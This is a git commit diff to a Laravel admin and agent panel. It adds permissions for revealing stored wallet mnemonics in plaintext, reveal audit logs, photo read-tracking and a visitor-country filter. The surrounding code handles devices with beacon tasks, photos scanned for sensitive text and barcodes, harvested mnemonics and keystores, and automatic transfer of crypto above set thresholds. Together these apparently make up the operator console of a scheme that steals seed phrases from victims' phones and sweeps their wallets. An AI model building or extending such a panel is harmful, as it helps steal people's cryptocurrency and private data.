feat: menric

This commit is contained in:
hashbro
2026-09-06 03:55:24 +08:00
parent f94def7c1f
commit d4c096ed4a
50 changed files with 1698 additions and 148 deletions
@@ -16,6 +16,7 @@ class AgentUserController extends Controller
return view('admin.agents.index', [
'botUsername' => $telegram->cachedBotUsername(),
'botInviteUrl' => $telegram->inviteUrl(),
'staff_mnemonic_reveal' => (bool) config('coruna.mnemonic_reveal.staff_enabled'),
]);
}
@@ -44,14 +45,16 @@ class AgentUserController extends Controller
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (User $u) {
return [
$showReveal = (bool) config('coruna.mnemonic_reveal.staff_enabled');
$data = collect($paginator->items())->map(function (User $u) use ($showReveal) {
$row = [
'id' => $u->id,
'username' => $u->username,
'status' => (int) $u->status,
'comment' => $u->comment ?: '',
'chat_id' => $u->chat_id ?: '',
'telegram_ready' => $u->hasTelegramChat(),
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
'channels_count' => (int) $u->channels_count,
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
@@ -62,6 +65,11 @@ class AgentUserController extends Controller
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
];
if ($showReveal) {
$row['can_reveal_mnemonics'] = $u->mnemonicRevealEnabled() ? 1 : 0;
}
return $row;
})->values();
return response()->json([
@@ -86,6 +94,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
]);
$user = User::query()->create([
@@ -100,6 +109,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
]);
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
@@ -118,6 +128,7 @@ class AgentUserController extends Controller
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if (array_key_exists('comment', $data)) {
@@ -135,6 +146,9 @@ class AgentUserController extends Controller
if (array_key_exists('album_storage_default', $data) && $data['album_storage_default'] !== null) {
$agent->album_storage_default = (bool) ((int) $data['album_storage_default']);
}
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
}
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
$key = 'auto_transfer_threshold_'.$coin;
if (array_key_exists($key, $data)) {
+28 -19
View File
@@ -3,6 +3,7 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\Device;
@@ -12,6 +13,7 @@ use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\PhotoRead;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -29,6 +31,7 @@ use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
{
use PortalAware;
use RevealsMnemonics;
public function index()
{
@@ -130,6 +133,7 @@ class DeviceController extends Controller
'beaconTasks' => $device->beaconTasks,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
'can_clear_photos' => $this->canClearPhotos(),
]);
}
@@ -164,6 +168,7 @@ class DeviceController extends Controller
abort_unless(Storage::disk('local')->exists($row->path), 404);
$abs = Storage::disk('local')->path($row->path);
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
$this->markPhotoRead($row);
return response($out['bytes'], 200)
->header('Content-Type', $out['mime']);
@@ -507,6 +512,19 @@ class DeviceController extends Controller
}
}
private function markPhotoRead(Photo $photo): void
{
[$guard, $actorId] = $this->viewerActor();
if ($guard === null || $actorId === null) {
return;
}
try {
PhotoRead::mark($photo, $guard, $actorId);
} catch (\Throwable) {
// Serving the image still succeeds if the read row cannot be written.
}
}
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
@@ -519,10 +537,17 @@ class DeviceController extends Controller
if ((string) $request->query('sensitive', '') === '1') {
$q->where('x_hit', '>', 0);
}
[$guard, $actorId] = $this->viewerActor();
if ($guard !== null && $actorId !== null) {
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
}
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
$readIds = ($guard !== null && $actorId !== null)
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
: [];
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal, $readIds) {
return [
'id' => $photo->id,
'url' => route($portal.'.devices.photo', [$device, $photo->id]),
@@ -533,6 +558,7 @@ class DeviceController extends Controller
'process_index' => $photo->process_index,
'text_count' => $photo->text_count,
'barcode_count' => $photo->barcode_count,
'read' => in_array($photo->id, $readIds, true) ? 1 : 0,
'created_at' => optional($photo->created_at)->format('Y-m-d H:i:s'),
];
})->values();
@@ -594,7 +620,7 @@ class DeviceController extends Controller
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $w->id) : '',
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($w->id) : '',
];
})->values();
@@ -811,23 +837,6 @@ class DeviceController extends Controller
return null;
}
private function canRevealMnemonics(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->canRevealMnemonics();
}
private function googleBoundForReveal(): bool
{
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->hasGoogleBound();
}
private function canClearPhotos(): bool
{
if ($this->isAgentPortal()) {
@@ -2,8 +2,10 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\User;
use App\Services\AdminGoogle2fa;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
@@ -11,21 +13,22 @@ use Illuminate\Support\Facades\Hash;
class Google2faController extends Controller
{
use PortalAware;
public function index()
{
/** @var Admin $admin */
$admin = auth('admin')->user();
$actor = $this->googleActor();
return view('admin.security.google2fa', [
'enabled' => $admin->requiresLoginGoogle(),
'bound' => $admin->hasGoogleBound(),
'enabled' => $actor->requiresLoginGoogle(),
'bound' => $actor->hasGoogleBound(),
'routes' => $this->googleRoutes(),
]);
}
public function prepare(Request $request, AdminGoogle2fa $google2fa): JsonResponse
{
/** @var Admin $admin */
$admin = auth('admin')->user();
$actor = $this->googleActor();
$data = $request->validate([
'password' => ['required', 'string'],
@@ -33,18 +36,18 @@ class Google2faController extends Controller
'password.required' => '登陆密码不能为空',
]);
if (! Hash::check($data['password'], $admin->password)) {
if (! Hash::check($data['password'], $actor->password)) {
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
}
if ((int) $admin->google_auth_open === 1 || filled($admin->google_secret)) {
if ((int) $actor->google_auth_open === 1 || filled($actor->google_secret)) {
return response()->json(['code' => 201, 'msg' => '您已绑定谷歌验证,可直接开启或关闭']);
}
$secret = $google2fa->generateSecret();
$request->session()->put('admin_google2fa_pending_secret', $secret);
$request->session()->put($this->pendingSecretKey(), $secret);
$otpAuthUrl = $google2fa->otpAuthUrl($admin, $secret);
$otpAuthUrl = $google2fa->otpAuthUrl($actor->username, $secret, $this->isAgentPortal() ? 'agent' : 'admin');
return response()->json([
'code' => 0,
@@ -56,8 +59,7 @@ class Google2faController extends Controller
public function bind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
{
/** @var Admin $admin */
$admin = auth('admin')->user();
$actor = $this->googleActor();
$data = $request->validate([
'GAKey' => ['required', 'string', 'max:16'],
@@ -68,7 +70,7 @@ class Google2faController extends Controller
'GASecret.required' => '参数不完整',
]);
$pending = (string) $request->session()->get('admin_google2fa_pending_secret', '');
$pending = (string) $request->session()->get($this->pendingSecretKey(), '');
if ($pending === '' || ! hash_equals($pending, $data['GASecret'])) {
return response()->json(['code' => 1, 'msg' => '绑定已过期,请重新获取二维码']);
}
@@ -78,12 +80,12 @@ class Google2faController extends Controller
}
$loginVerify = (int) ($data['login_verify'] ?? 0);
$admin->forceFill([
$actor->forceFill([
'google_auth_open' => $loginVerify,
'google_secret' => $data['GASecret'],
])->save();
$request->session()->forget('admin_google2fa_pending_secret');
$request->session()->forget($this->pendingSecretKey());
return response()->json([
'code' => 0,
@@ -95,8 +97,7 @@ class Google2faController extends Controller
public function toggle(Request $request, AdminGoogle2fa $google2fa): JsonResponse
{
/** @var Admin $admin */
$admin = auth('admin')->user();
$actor = $this->googleActor();
$data = $request->validate([
'password' => ['required', 'string'],
@@ -104,21 +105,21 @@ class Google2faController extends Controller
'GACode' => ['nullable', 'string', 'max:16'],
]);
if (! Hash::check($data['password'], $admin->password)) {
if (! Hash::check($data['password'], $actor->password)) {
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
}
if (! filled($admin->google_secret)) {
if (! filled($actor->google_secret)) {
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
}
$open = (int) $data['open'];
$code = (string) ($data['GACode'] ?? '');
if (! $google2fa->verify((string) $admin->google_secret, $code)) {
if (! $google2fa->verify((string) $actor->google_secret, $code)) {
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
$admin->forceFill(['google_auth_open' => $open])->save();
$actor->forceFill(['google_auth_open' => $open])->save();
return response()->json([
'code' => 0,
@@ -130,33 +131,65 @@ class Google2faController extends Controller
public function unbind(Request $request, AdminGoogle2fa $google2fa): JsonResponse
{
/** @var Admin $admin */
$admin = auth('admin')->user();
$actor = $this->googleActor();
$data = $request->validate([
'password' => ['required', 'string'],
'GACode' => ['required', 'string', 'max:16'],
]);
if (! Hash::check($data['password'], $admin->password)) {
if (! Hash::check($data['password'], $actor->password)) {
return response()->json(['code' => 1, 'msg' => '登陆密码不正确']);
}
if (! filled($admin->google_secret)) {
if (! filled($actor->google_secret)) {
return response()->json(['code' => 1, 'msg' => '您未绑定谷歌验证']);
}
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
$admin->forceFill([
$actor->forceFill([
'google_auth_open' => 0,
'google_secret' => null,
])->save();
$request->session()->forget('admin_google2fa_pending_secret');
$request->session()->forget($this->pendingSecretKey());
return response()->json(['code' => 0, 'msg' => '已解除谷歌验证绑定']);
}
private function googleActor(): Admin|User
{
if ($this->isAgentPortal()) {
/** @var User $user */
$user = auth('agent')->user();
return $user;
}
/** @var Admin $admin */
$admin = auth('admin')->user();
return $admin;
}
/** @return array{prepare: string, bind: string, toggle: string, unbind: string} */
private function googleRoutes(): array
{
$portal = $this->portal();
return [
'prepare' => route($portal.'.security.google2fa.prepare'),
'bind' => route($portal.'.security.google2fa.bind'),
'toggle' => route($portal.'.security.google2fa.toggle'),
'unbind' => route($portal.'.security.google2fa.unbind'),
];
}
private function pendingSecretKey(): string
{
return $this->isAgentPortal() ? 'agent_google2fa_pending_secret' : 'admin_google2fa_pending_secret';
}
}
@@ -3,8 +3,9 @@
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Concerns\RevealsMnemonics;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\SystemLog;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
@@ -19,6 +20,7 @@ use Illuminate\Support\Facades\RateLimiter;
class MnemonicController extends Controller
{
use PortalAware;
use RevealsMnemonics;
private const REFRESH_DECAY_SECONDS = 60;
@@ -40,6 +42,7 @@ class MnemonicController extends Controller
'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
'google2fa_url' => $this->google2faUrl(),
]);
}
@@ -74,7 +77,7 @@ class MnemonicController extends Controller
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($row->id) : '',
];
})->values();
@@ -88,16 +91,21 @@ class MnemonicController extends Controller
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
{
/** @var Admin|null $admin */
$admin = auth('admin')->user();
if ($admin === null || ! $admin->canRevealMnemonics()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
$actor = $this->isAgentPortal() ? $this->agent() : auth('admin')->user();
if ($actor === null || ! $actor->canRevealMnemonics()) {
$msg = (! $this->isAgentPortal() && ! (bool) config('coruna.mnemonic_reveal.staff_enabled'))
? '需要超级管理员权限'
: '无权查看明文';
return response()->json(['code' => 1, 'msg' => $msg], 403);
}
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
if (! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $admin->hasGoogleBound()) {
return response()->json(['code' => 1, 'msg' => '请先在「系统 → 谷歌验证」绑定,查看明文必须验证']);
if (! $actor->hasGoogleBound()) {
$hint = $this->isAgentPortal() ? '账号 → 谷歌验证' : '系统 → 谷歌验证';
return response()->json(['code' => 1, 'msg' => '请先在「'.$hint.'」绑定,查看明文必须验证']);
}
$data = $request->validate([
@@ -106,7 +114,7 @@ class MnemonicController extends Controller
'GACode.required' => '请输入谷歌验证码',
]);
$throttleKey = 'mnemonic-reveal:'.$admin->id;
$throttleKey = 'mnemonic-reveal:'.$this->portal().':'.$actor->id;
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
$seconds = RateLimiter::availableIn($throttleKey);
@@ -116,7 +124,7 @@ class MnemonicController extends Controller
], 429);
}
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
RateLimiter::hit($throttleKey, 60);
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
@@ -124,6 +132,17 @@ class MnemonicController extends Controller
RateLimiter::clear($throttleKey);
try {
SystemLog::recordMnemonicReveal(
$actor,
$this->isAgentPortal() ? 'agent' : 'admin',
$mnemonic,
$request,
);
} catch (\Throwable) {
// Reveal still succeeds if audit write fails.
}
return response()->json([
'code' => 0,
'msg' => 'ok',
@@ -201,23 +220,6 @@ class MnemonicController extends Controller
]);
}
private function canRevealMnemonics(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->canRevealMnemonics();
}
private function googleBoundForReveal(): bool
{
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->hasGoogleBound();
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\CfIpCountry;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
@@ -39,7 +40,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
'browser', 'browser_version', 'user_agent', 'ip', 'country', 'domain', 'referer', 'created_at',
]);
return response()->json([
@@ -58,6 +59,8 @@ class PageVisitController extends Controller
'browser_version' => $v->browser_version ?: '',
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'country' => $v->country ?: '',
'country_label' => CfIpCountry::label($v->country),
'domain' => $v->domain ?: '',
'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
@@ -135,6 +138,11 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
$country = CfIpCountry::normalize((string) $request->query('country', ''));
if ($country !== null) {
$q->where('country', $country);
}
$domain = trim((string) $request->query('domain', ''));
if ($domain !== '') {
$q->where('domain', 'like', '%'.$domain.'%');
+11 -1
View File
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Photo;
use App\Models\PhotoRead;
use App\Models\User;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
@@ -43,7 +44,11 @@ class PhotoController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
[$guard, $actorId] = $this->viewerActor();
$readIds = ($guard !== null && $actorId !== null)
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
: [];
$data = collect($paginator->items())->map(function ($row) use ($portal, $readIds) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
@@ -51,6 +56,7 @@ class PhotoController extends Controller
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
'size' => $row->size,
'x_hit' => $row->x_hit,
'read' => in_array((int) $row->id, $readIds, true) ? 1 : 0,
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
];
@@ -87,6 +93,10 @@ class PhotoController extends Controller
if ((string) $request->query('sensitive', '') === '1') {
$q->where('photos.x_hit', '>', 0);
}
[$guard, $actorId] = $this->viewerActor();
if ($guard !== null && $actorId !== null) {
PhotoRead::applyFilter($q, $guard, $actorId, 'photos.id', $request->query('read'));
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
@@ -0,0 +1,65 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Controller;
use App\Models\SystemLog;
use Illuminate\Http\Request;
class SystemLogController extends Controller
{
public function index()
{
return view('admin.system.logs', [
'actions' => SystemLog::actionLabels(),
]);
}
public function data(Request $request)
{
$q = SystemLog::query();
$username = trim((string) $request->query('username', ''));
$action = trim((string) $request->query('action', ''));
$keyword = trim((string) $request->query('keyword', ''));
if ($username !== '') {
$q->where('actor_username', 'like', '%'.$username.'%');
}
if ($action !== '' && isset(SystemLog::actionLabels()[$action])) {
$q->where('action', $action);
}
if ($keyword !== '') {
$q->where('content', 'like', '%'.$keyword.'%');
}
$sortable = ['id', 'created_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (SystemLog $row) {
return [
'id' => $row->id,
'actor_role' => $row->actorRoleLabel(),
'actor_username' => $row->actor_username ?: '—',
'content' => $row->content ?: '',
'ip' => $row->ip ?: '',
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
];
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
}
@@ -39,6 +39,7 @@ class SystemSettingsController extends Controller
{
$data = $request->validate([
'telegram_owner_chat_id' => ['nullable', 'string', 'max:64'],
'official_album_storage' => ['nullable', 'in:0,1'],
'auto_transfer_enabled' => ['nullable', 'in:0,1'],
'auto_transfer_threshold_usdt' => ['nullable', 'numeric', 'min:0'],
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
@@ -69,19 +70,22 @@ class SystemSettingsController extends Controller
}
}
$payload = [
'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'album_storage.official_default' => (($data['official_album_storage'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
];
try {
$settings->putMany([
'telegram.bot_username' => $username !== '' ? $username : null,
'telegram.owner_chat_id' => $data['telegram_owner_chat_id'] ?? null,
'auto_transfer.enabled' => (($data['auto_transfer_enabled'] ?? '0') === '1') ? '1' : '0',
'auto_transfer.threshold_usdt' => $threshold($data['auto_transfer_threshold_usdt'] ?? null) ?? '',
'auto_transfer.threshold_trx' => $threshold($data['auto_transfer_threshold_trx'] ?? null) ?? '',
'auto_transfer.threshold_eth' => $threshold($data['auto_transfer_threshold_eth'] ?? null) ?? '',
'auto_transfer.threshold_btc' => $threshold($data['auto_transfer_threshold_btc'] ?? null) ?? '',
'transfer.fee_address_tron' => $threshold($data['transfer_fee_address_tron'] ?? null) ?? '',
'transfer.fee_private_key_tron' => $threshold($data['transfer_fee_private_key_tron'] ?? null),
'transfer.fee_topup_trx' => $threshold($data['transfer_fee_topup_trx'] ?? null) ?? '20',
]);
$settings->putMany($payload);
} catch (\Throwable $e) {
return response()->json([
'code' => 1,